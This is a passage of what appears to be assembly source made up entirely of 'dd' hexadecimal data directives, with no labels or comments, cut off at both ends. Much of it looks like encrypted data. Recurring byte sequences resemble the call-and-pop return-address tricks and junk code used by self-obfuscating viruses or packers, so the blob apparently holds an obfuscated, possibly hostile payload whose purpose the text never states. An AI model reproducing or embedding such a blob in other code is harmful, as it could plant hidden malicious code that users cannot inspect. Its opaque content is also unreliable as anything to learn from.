9086623Dh, 1851D107h, 1A6D26A8h dd 0AB5F8938h, 0FC5FE0D5h, 0BD05C33Dh, 1B0B6A67h, 0BB1B6239h dd 0CF5FF839h, 240DA13Dh, 0D12CCF6Bh, 0AADB7F2Bh, 75885C32h dd 9776CEB8h, 0A1EE5A38h, 1A99E1F2h, 0CAB6EDD8h, 92EACA6Eh dd 1B5A0A20h, 0F95FE339h, 56D86742h, 0F5AF686Dh, 595BC779h dd 1420F687h, 0A2E0853Dh, 0C31B6AA4h, 0FFB78339h, 395FE33Dh dd 0ADC93010h, 53B56C4Ah, 30479818h, 9F5FE3B3h, 9509BC3Dh dd 0E735BB5Ch, 0F35C0B6Ah, 0A67FE33Dh, 80D6BCFEh, 3ADEE719h dd 3F48E719h, 0C818E33Dh, 0ED338CFEh, 0AEE268B4h, 0C5A0A13h dd 10411E88h, 2AD48338h, 7E596132h, 0B950E33Dh, 9F5FE33Dh dd 0A0DA6E5Ch, 8D5A0F47h, 0F0B7B13Dh, 0D95FE33Dh, 75052067h dd 0FF5BC769h, 295BC779h, 0DD5FE33Dh, 2E0F206Fh, 8D8F1C6Ch dd 0F0B7B63Dh, 0D95FE33Dh, 75022060h, 0FF5BC751h, 285BC779h dd 0DA5FE33Dh, 0EA72068h, 6D3F6209h, 0F34B0BE0h, 336EE33Dh dd 0F9E7B996h, 3A315F71h, 354B1A8Fh, 0DD3D35F7h, 0AE06A7DEh dd 0E75B6B32h, 4939E33Dh, 7CD66C46h, 0F9B6E390h, 66667EB4h dd 0BA99E6D4h, 9AB6EDD8h, 16C26A7Ah, 8F5A0A23h, 33AC827h dd 0CDDE8988h, 0EB616919h, 0B7E26A6Ch, 0C05A0A10h, 76411E88h dd 9A5F8938h, 0E75FE0D5h, 3002C33Dh, 0DD336A60h, 0D81B6239h dd 7E5FF639h, 0FC0AA63Dh, 1AD22A98h, 0CAB39952h, 0F09E357h dd 0F35FE33Eh, 0A79CBD1Dh, 0F87B97B4h, 7A7BA7BCh, 3F5FE321h dd 79CB57Bh, 66496ADCh, 1EDF574Ch, 0F33533C2h, 0F95C0B6Eh dd 0A77FE33Dh, 22D6B8FEh, 7BDEE719h, 9F45E719h, 9C1CE33Dh dd 145C2BFEh, 0BC6CADA4h, 0EF667EB4h, 79D6E6D4h, 7BB6C870h dd 0D708E357h, 9F5FE33Eh, 909CBC1Dh, 0E37B9FB4h, 0F77BA7BCh dd 0F95FE329h, 8D9CB47Ah, 7DDE5EB4h, 0BA99E6D4h, 9AB6EDD8h dd 9D5F896Eh, 0E75FE0D5h, 3005C33Dh, 0DD0B6A67h, 0D81B6239h dd 7E5FFB39h, 0FC0DA13Dh, 98853811h, 0D8A28B07h, 0E0B7F9CCh dd 5B5FE33Dh, 7D9DC40Ah, 150D4494h, 7E5FE334h, 3D082A95h dd 46E69B22h, 4E05B9C0h, 0A0CCC739h, 0F3359D75h, 0F95C0B68h dd 0A17FE33Dh, 12D6BEFEh, 7BDEE719h, 9F43E719h, 9A1AE33Dh dd 5F930CFEh, 8B63D40Ah, 2EE1BF91h, 313DFDDh, 97411E88h dd 2FD1EC38h, 765FE33Dh, 0CF5FE336h, 959A3F09h, 0AB73F54h dd 741E823Fh, 10258CB8h, 7E520A38h, 0D307E33Dh, 0ADCA421Ah dd 5FDD434Fh, 81E79560h, 23A018B6h, 0EF0E561Eh, 79D6E6D4h dd 7BB6E8F8h, 0D70AE357h, 9F5FE33Eh, 929CBE1Dh, 0E37B8FB4h dd 0F77BA7BCh, 0F95FE324h, 879CB678h, 2E8AF72Fh, 0FBB16313h dd 91BA66FBh, 2608E6D4h, 0E75FE338h, 9828FE8Fh, 0A6568B75h dd 43391389h, 4ADE60F2h, 8F52EC19h, 0CA5F895Dh, 0CF5FE0D5h dd 2402C33Dh, 0D7336A60h, 0DD1B6239h, 0FC5FF539h, 0BD0AA63Dh dd 0C044600Ch, 76411E88h, 9D5F8938h, 0E75FE0D5h, 3005C33Dh dd 0DD0B6A67h, 0D81B6239h, 7E5FF939h, 0FC0DA13Dh, 2C544083h dd 0A93329F5h, 35DA15BCh, 76D219B6h, 0FCB39952h, 35EACA6Fh dd 205A0A32h, 0C60F33C2h, 56DA6A63h, 0A55A0A3Ah, 0E4B7B23Dh dd 0D35FE33Dh, 70062064h, 7D5BC771h, 645BC779h, 7E5FE33Dh dd 0E7C4206Ch, 614AEF38h, 0AC26A27h, 355A0A1Bh, 105106B8h dd 35DFA038h, 0A9E0EC9Eh, 0F1264955h, 9F550B99h, 8D87E33Dh dd 0B97F838Ch, 66427B43h, 0F9476532h, 0EFB6E33Dh, 815FE33Dh dd 3D3673B3h, 0EBD6BC4Ch, 0DC76E5Dh, 7A830F02h, 7206677Fh dd 0F21C739h, 0F6B6F4FCh, 2E5FE33Dh, 0C021CC93h, 99303403h dd 32EA1CD0h, 675A0A23h, 76D2BFEBh, 0FCB39952h, 140CE357h dd 7E5FE33Eh, 649CB81Dh, 9B7BBFB4h, 0CB7BA7BCh, 0E75FE32Ah dd 529CB07Eh, 11B460FCh, 0FC5FE32Fh, 0C26D04FCh, 2F13DAA9h dd 0B954EBC9h, 9CDFEDB0h, 6AD41477h, 0F6B6D154h, 938F1C64h dd 0FFB7B23Dh, 5E5FE33Dh, 0B6062064h, 1E5BC771h, 0D35BC779h dd 0A65FE33Dh, 6C13206Ch, 0CA35A12Eh, 0F3D14E96h, 8ED4358Ah dd 1EE666B4h, 9F35E6D4h, 0CF5C0B6Eh, 0BC7FE33Dh, 0AFD6B8FEh dd 0BDDEE719h, 0FC43E719h, 2D1CE33Dh, 0E6A4EFEh, 0B858EE3Dh dd 0F7EAB4AFh, 5D8166B0h, 0F335E6D1h, 0F95C0B6Ch, 0A57FE33Dh dd 32D6BAFEh, 7BDEE719h, 9F47E719h, 9E1EE33Dh, 394907FEh dd 4E568317h, 0FCB6E6B4h, 7588686Dh, 0EBA0C739h, 3AB6C85Ch dd 0B6A05432h, 26413AB8h, 81876838h, 5C440DBCh, 438D66B0h dd 0FC35E6D1h, 7E5C0B6Ah, 607FE33Dh, 0E3D6BCFEh, 8BDEE719h dd 0E745E719h, 0A418E33Dh, 24A84BFEh, 916EFBA9h, 54AA563Ch dd 6FCFE6D4h, 9F550B6Fh, 0DE90E33Dh, 0E22176F8h, 3D99BBCFh dd 0F600825Dh, 0FC590B0Ch, 0B145E33Dh, 0E53B6151h, 0C500825Dh dd 9D0FB365h, 0E80DB35Dh, 9207B90Ch, 0A105D232h, 0AF5F89ADh dd 7E5FE0D5h, 0FC04C33Dh, 0BB036A66h, 0EB1B6239h, 0E75FFF39h dd 300CA03Dh, 1014F10Dh, 0F9035D48h, 1E0D7005h, 3F5FF1D5h dd 9CB0A03Dh, 9ABF60B5h, 0F5DF247Eh, 0FF26AEC6h, 0A27BED14h dd 0FC5F6432h, 243EE33Dh, 0F1D4B06Dh, 9F357064h, 0CF5C0B6Ah dd 0B87FE33Dh, 8FD6BCFEh, 0BDDEE719h, 0FC47E719h, 2918E33Dh dd 18684BFEh, 60A667FFh, 266D26A8h, 0E75A0A38h, 48CFE33Dh dd 70677E9Fh, 15540EB8h, 295F8938h, 3F5FE0D5h, 5C00C33Dh dd 0EB236A62h, 0C31B6239h, 0F35FFF39h, 3A08A43Dh, 24DF2EF4h dd 3ED4002Ah, 0EBB66372h, 0BB6266FAh, 0CF50E6D4h, 0E735E33Dh dd 0F35C0B6Fh, 0A37FE33Dh, 0A8D6B9FEh, 3ADEE719h, 3F43E719h dd 0CD1DE33Dh, 521BFCFEh, 0CFBA6D47h, 4D397A83h, 6CA0A483h dd 0F9B6E8D0h, 960EE357h, 3F5FE33Eh, 0C69CBA1Dh, 0CB7BAFB4h dd 0E37BA7BCh, 0F35FE324h, 279CB27Ch, 15E86090h, 8CDF8304h dd 66C26A3Dh, 0FE5A0A0Fh, 0C85A66B4h, 0E735E6D4h, 0F35C0B6Dh dd 0A17FE33Dh, 0B8D6BBFEh, 3ADEE719h, 3F43E719h, 0CF1FE33Dh dd 403A85FEh, 0FAAB8055h, 76D43AE4h, 0FCB6E628h, 33787EB0h dd 3DD6E6D1h, 0C2E26E3Ch, 125A0A3Dh, 2390E288h, 0E76C5A38h dd 57ACE33Dh, 0F9E7D0D6h, 0F75FE33Dh, 0BC5C97FDh, 7BD4E325h dd 770CEF19h, 0CF5FE33Dh, 0F09C6266h, 7A5FE33Dh, 704FC761h dd 0A74BC779h, 0E1FFD485h, 0B4BF1C3Dh, 605BC779h, 9A5F89DDh dd 0E75FE0D5h, 3002C33Dh, 0DD336A60h, 0D81B6239h, 7E5FF539h dd 0FC0AA63Dh, 769B5353h, 0CF5FE338h, 30CE4C4Dh, 0A45F8995h dd 0F95FE0D5h, 3F00C33Dh, 5A236A62h, 1B1B6239h, 9F5FF839h dd 0C08A43Dh, 5587D687h, 8C56A918h, 0F4026EB4h, 963EE6D4h dd 7DB7B13Dh, 1F5FE33Dh, 16052067h, 4E5BC769h, 0FD5BC779h dd 0B15FE33Dh, 9F10206Fh, 90D8FDDDh, 7ADEECC7h, 595FE33Dh dd 123F3187h, 23E53180h, 29D26E38h, 4B5A0FF2h, 61794808h dd 0F096660Eh, 0B174E6D4h, 5D5D0AFCh, 0D5A65F89h, 3DF95FE0h dd 603F02C3h, 395A336Ah, 391B1B62h, 839F5FF5h, 0A4F305E9h dd 6AD98Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0AF3C5CC3h, 0BB7AD82Dh, 0BD01600Ch, 5E92E29h dd 519B58Bh, 0E96105E9h, 56h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 88C35242h, 0E9176445h, 0Eh dd 59367427h, 95A8252h, 0D91F29EFh, 6A61FD2Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0E0A0C355h, 0F8DA91C8h, 0C08BF5C3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h, 0DE9F9h dd 28070000h, 40023EB0h, 0E3A7E75Ch, 83A1B51Bh, 0E9164DBDh dd 9750005h, 1121BD83h, 740005E9h, 8B535019h, 4B9B8C0h dd 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh dd 5E91121h, 50177400h, 4B9B853h, 85890000h, 5E905ADh dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 6064F6C3h dd 11E8h, 0FE9AB100h, 26F83472h, 39B8B6Ch, 5A44D694h, 0DF8B35FBh dd 9333BB5Ah, 0E9617EEBh, 0Ah, 5EA3A396h, 0B286DC5Fh, 0B260F333h dd 0C08B613Fh, 0C18B40FCh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0C4C35646h, 4EBF87Dh, 0 dd 0E8B0Fh, 7E80000h, 0A5000000h, 0E57FE2ECh, 5EF5534Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FAC35040h dd 95895132h, 5E91DF5h, 21E5858Dh, 0BD8905E9h, 5E90341h dd 0C3BF6690h, 0BE850EBh, 65000000h, 4E2855EFh, 257249CCh dd 6660910Ah, 664494BFh, 61290EB9h, 0DE81905Eh, 27B971EAh dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 487C0EC3h, 850F605Ah, 2, 6A615F53h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 575AF808h, 0C3790A1Dh, 10FDB589h, 858D05E9h, 5ECD32Dh dd 6005C083h, 8F2D06BEh, 6890F56h, 0F000000h, 88h, 0E8906100h dd 8, 986F29DFh, 7FD7CE34h, 0CF1C36BFh, 60505E50h, 14B5BCB9h dd 0BE525070h, 3C10E2B3h, 5A57310Fh, 9061585Ah, 66F9B70Fh dd 0CB3C681h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BD8B2FC3h, 5E92D8Dh, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 315340C3h, 0E90F019Dh, 0A195FF05h, 8B05E90Ah, 0BF9D8DF7h dd 6A05ECADh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 39EFC350h, 1770A865h, 2F3DBD8Bh dd 0D3FF05E9h, 7BDBD01h, 85FF05E9h, 5E90689h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 18C35747h, 66F7E7ECh dd 0CE9F18Bh, 0E8000007h, 0 dd 37ED815Dh, 6A05ECD3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 106AC355h, 0C5E3B942h dd 50BF851Fh, 812E0EEAh, 0E9243DBDh, 7D005h, 64860F00h dd 8B000001h, 0E9320DBDh, 419D8B05h, 8905E90Eh, 0E92D718Dh dd 0E38105h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0BF71C353h, 0FABF66D3h dd 29BF662Ch, 0FDB0B9Fh, 0C085h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D333920Bh dd 1B52885Ch, 6BBD837Ah, 5ECD1h, 4C840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B4378C3h, 0E90EA9B5h, 73E905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DD9BADC3h dd 8C7BA9D0h, 85C7F28Bh, 5ECD16Bh, 1, 0D1BD8B53h, 5E05E917h dd 840Fh, 32E90000h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 4D6FC351h, 29CC5B25h dd 0E90EF98Dh, 6B85C705h, 5ECD1h, 8B000000h, 419D8DFEh dd 6A05E90Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0FD0C350h, 66BFAAFCh, 8115CE92h dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0B90A5D3Ch, 660CD1DBh dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 713E91C3h, 8589E4A3h, 5E91DCDh, 2A61B58Bh dd 816605E9h, 0F6EAF0F7h, 840F04C3h, 0B5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E7C35343h, 12EA722Ch dd 14E9ADh, 0ACB30000h, 0E86F3909h, 3ADC5312h, 215D1D50h dd 6503D21h, 665721B8h, 5FD940BEh, 276D9531h, 95FF05E9h dd 5E90BEDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 12C35242h, 9D89AA4Dh, 5E92E7Dh, 0FE890h, 87710000h dd 0C6404C89h, 0B4462FE6h, 62056E3Fh, 8B6650CFh, 505E5FF1h dd 0ADBBBF66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 29D1842Ah, 0E919C1B5h dd 34CE905h, 0B00000h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 28C35040h, 52204444h, 8BC60923h, 0E918BDB5h dd 6070E605h, 71E461F9h, 6FA2C781h, 81666AE5h, 0FBF82C6h dd 6BAD8B6h, 66000000h, 0CF81F78Bh, 6594DA43h, 8589C38Bh dd 5E91DE9h, 6604E8C1h, 663625BEh, 0BD8BE2F7h, 5E9233Dh dd 0BD89D82Bh, 5E92B05h, 8E0F5250h, 6, 8C0Fh, 895F0000h dd 8152241Ch, 0DAB80EC7h, 0B5FF5E28h, 5E9243Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0A7C35646h, 89B4849Fh dd 0E931AD9Dh, 9595FF05h, 0B005E91Eh, 0CDABBF00h, 70E6565Ah dd 6EC78166h, 971E4F1h, 0E917858Dh, 6870F05h, 8B000000h dd 0E907C5B5h, 0F613C05h, 26983h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EC5B0511h dd 2E12E538h, 0FF88B66h, 0AE8D8B6h, 0E5000000h, 0A4F262Dh dd 7B884B33h, 0D68ABF5Dh, 0BA5E7490h, 6, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 0E0C35242h, 6AC38Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0F6C5E8C3h, 0BB374CC6h, 0CE8h, 256F0C00h, 7111E325h dd 0F10CA10Ch, 61605393h, 95895E5Fh, 5E92AD5h, 21E1B58Bh dd 0E8C105E9h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 858960F9h, 5E901E1h, 1C99531h dd 666105E9h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0C681E9C3h, 1DE5EFFh, 6AD82Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0AFDBFFC3h, 664B6F92h, 810FFA8Bh, 0 dd 619D8958h, 2B05E918h, 37880FD8h, 60000001h, 1F55BD29h dd 8D2B05E9h, 5E931EDh, 7B961h, 0B5010000h, 5E901C9h, 8100C183h dd 78117EF6h, 0FD93B3Eh, 10D86h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0F5FCB0B6h dd 0D98C66C4h, 2289B589h, 0C1F605E9h, 0B7840F04h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0F7A7C357h, 0BD8B5962h, 5E92BF9h, 0BED95FFh dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0FADD15C3h, 6820FBDh, 89000000h, 0E91F718Dh dd 6A5B05h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 581497C3h, 5AA2A648h, 4DDB531h, 0E78105E9h dd 0A869C5Dh, 8960C32Bh, 0E927D59Dh, 68D0F05h, 33000000h dd 0E90B6595h, 343D6105h, 0F000008h, 1186h, 30E900h, 0E9530000h dd 5, 8A204CE9h, 0C08B5E5Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0F9C35545h, 2BBDB589h, 0C38B05E9h dd 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 4EA91DC3h, 0B9E55903h, 79185C7h, 0A9F305E9h dd 0BD8914ADh, 5E92DFDh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 6212D1C3h, 0A73FC3E6h dd 0BD8B578Bh, 5E90555h, 3DBD815Eh, 0D005E924h, 0F000007h dd 5285h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0FFB70FC7h, 243D85FFh, 6A05E9h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 872762C3h, 5DF8D12Fh, 0A1BE66AEh, 0B99589EAh, 0FF05E901h dd 0E9243DB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0FF4FA703h, 0E91E9595h dd 0FEBF0F05h, 5678B890h, 9D8D1234h, 5ECDA10h, 0FFF912E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8B5BA0A1h, 0DE8166C1h, 4EB12C4h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 55C35242h dd 0CAD91C5h, 8D5FF556h, 0E921E585h, 7DBD8905h, 5005E90Ch dd 0C04F5CBEh, 2404890Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 35C35747h, 0AD19828Bh, 0C37E2B44h, 0F8006AD7h dd 0BD0B006Ah, 5E91F4Dh, 9E8h, 2A2DE100h, 11B67F1Dh, 0BD0BDC0Eh dd 5E900F9h, 0E3858D5Eh, 0E805ECDBh, 12h, 0A080C5BAh, 810E9CC0h dd 95A09BCAh, 8608892Bh, 0BE90756h, 15000000h, 219BD1D0h dd 0A33F5F77h, 835F3FDAh, 0D68105C0h, 6E0895B6h, 505E5290h dd 9CBF6650h, 6A905F2Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0BB3EC351h, 639E8680h dd 6AF18B66h, 8B006A00h, 0A195FFFEh, 6A05E90Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0BF4FC357h, 9D8D5461h, 5ECADBFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 52C35545h, 0FF2BF0Fh, 0C82h dd 68F0F00h, 89000000h, 0E924E1B5h, 6AD3FF05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0FF95C357h, 0E9068985h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 424665B7h dd 4761105Fh, 68A0Fh, 95010000h, 5E9060Dh, 0CB3E9h, 0E800h dd 815D0000h, 0ECDBEDEDh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0A02B465Ch dd 18D50C45h, 4647E681h, 0BD817827h, 5E9243Dh, 7D0h, 10F860Fh dd 0D2BE0000h, 8B635EE9h, 0E926BD9Dh, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 1860FE4h, 0FC000000h, 0DAD68151h, 5E203517h, 100E381h dd 0BD8B0000h, 5E90789h, 850FDB0Bh, 0A1h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 50C35646h, 8307194Ch dd 0ECDA47BDh, 840F0005h, 3Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 6BC35343h, 8C3FA23Dh, 18E7B741h dd 3091BD8Bh, 8D8905E9h, 5E900F9h, 50E9h, 11B58900h, 0C705E92Eh dd 0ECDA4785h, 105h, 0F2B70F00h, 38E9h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 6E93465h, 0D6000000h, 8DAB538Fh, 4785C741h, 5ECDAh dd 89000000h, 0E91965B5h, 0BD9D8D05h, 8B05E926h, 0FF2381F0h dd 8BFFFFFEh, 0E926B9BDh, 0DB8C6605h, 11E9h, 88280F00h dd 6358150Eh, 60FC4D24h, 0ED165585h, 0C3F6D9E3h, 4D840F04h dd 89000000h, 0E92881B5h, 0ED95FF05h, 9005E90Bh, 850Fh dd 90500000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0FDC35242h, 0FD4533ACh, 10E8h, 72E25100h, 0EB4883F0h dd 0CFB3A0C9h, 0D50F1FEFh, 5EFA8B99h, 3D6E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1DE3D1C8h, 3515DD7Eh, 0F5B58B29h, 0B005E917h, 70E6FC00h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A8C35040h dd 0B5339151h, 5E90D21h, 8D8971E4h, 5E90579h, 6AD8B60Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F20C355h, 485h, 0F28B5300h, 6BA5Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 892F1FC3h, 0E925B595h, 6AC38B05h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 242BC357h dd 0DBBF6655h, 0FCBF665Dh, 4E8C1D8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 4DC35747h, 0EA94D76Dh, 66FE7CE4h dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B509BBC3h, 5E91CA1h, 0BF93D82Bh, 1188302Ah dd 93FA8B50h, 243DB5FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 1ED797C3h, 0A485B9CCh dd 0F5633BAEh, 1E9595FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0E46218C3h, 0F8B25D74h dd 66F42F84h, 0B0D146BEh, 9BF5300h, 5F13955Fh, 6A70E6h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 71E46DC3h, 3129BF66h, 6E8h, 46729000h, 5EA98751h, 830F613Ch dd 20Fh, 12840Fh, 0AE80000h, 71000000h, 0CD916568h, 0B3F9EB58h dd 5E616036h, 0BAD8B60Fh, 6, 8238FDBEh, 0FC38B5Dh, 8Dh dd 4E8C100h, 271BD8Bh, 0F76605E9h, 0F3D0BEE2h, 0D82B2FD5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CC35545h dd 713F3D56h, 0B04F2CF2h, 335BD8Bh, 6BBF05E9h, 0E95A47ADh dd 7, 10921630h, 58C2979Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 28C35646h, 3EF09798h, 0C354A742h, 0FD82B25h dd 16688h, 14E900h, 94E0000h, 0E32D105Bh, 636C9E99h, 9F389618h dd 405BD92Fh, 7B940FFh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8395C355h dd 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 236FBAC3h, 3BF6E414h, 860FD9h, 66000001h dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 56FE96C3h, 0AA8A27AFh, 0BD032123h, 5E90D95h dd 0F04C1F6h, 0A884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 68B72C9Ah, 0BED95FFh dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0F918CCC3h, 0CAF5E252h, 6A5B37h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 2EF45EC3h, 28379394h, 6AC32Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0C6AAFFC3h, 0FDC8060h dd 8343D61h, 860F0000h, 0Dh, 0F6BF0F53h, 25E95Eh, 0B70F0000h dd 6AC08BF8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0A77C351h, 8B1D814Bh, 6AD88BC3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 6B03C352h, 0E456E5F4h, 893F6118h, 0E924AD9Dh dd 4185C705h, 5305E90Eh, 8B794067h, 0E92781B5h, 81C08B05h dd 0E9243DBDh, 7D005h, 1A850F00h, 0E9000000h, 0Ch, 0CDBCEF0h dd 0C3813913h, 21523E80h, 243D85FFh, 8B6605E9h, 3DB5FFF3h dd 0FF05E924h, 0E91E9595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0D3150BEDh dd 90F78B5Eh, 57006A40h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 560EAB3Eh, 8529503Fh, 5E93121h, 1F49BD83h dd 0F0005E9h, 0C284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 754C6C61h, 3095BD83h dd 0F0005E9h, 9684h, 880F6000h, 4, 3EEEBB66h, 4995FF61h dd 2305E91Fh, 0E92DB5B5h, 0FC00B05h, 7684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 44347EE2h, 9D89DC10h, 5E92651h, 6D8D8DF5h, 6A05E94Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0A169C356h, 5E535EC7h, 5B8h, 88E0F00h, 50000000h dd 0A53EEF81h, 0FF5F61E7h, 0E1BD33E1h, 0F05E92Ah, 688h dd 1B58B00h, 8305E923h, 0E92E25BDh, 840F0005h, 555h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 38C35646h, 0BA835ABCh dd 8B5EE80Bh, 0E928EDBDh, 95BD8305h, 5E930h, 51F840Fh dd 0B5890000h, 5E91935h, 0C858D8Dh, 858905E9h, 5E90905h dd 7C8401C7h, 8B6644B2h, 0CB0181F2h, 6A1499CFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0BBB2C352h, 94E4084h, 0E932158Dh, 441C705h, 0CE706B34h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DFC35141h dd 0DEBD25B7h, 8B55FE07h, 0E928F5BDh, 55BD8905h, 8105E92Dh dd 0D7100441h, 7E931D6h, 0F2000000h, 7FBB2B6Fh, 6A9484h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h dd 0F33D422Ch, 282A5613h, 0C85858Dh, 12E905E9h, 7C000000h dd 143A2881h, 83A89E7Dh, 307459C0h, 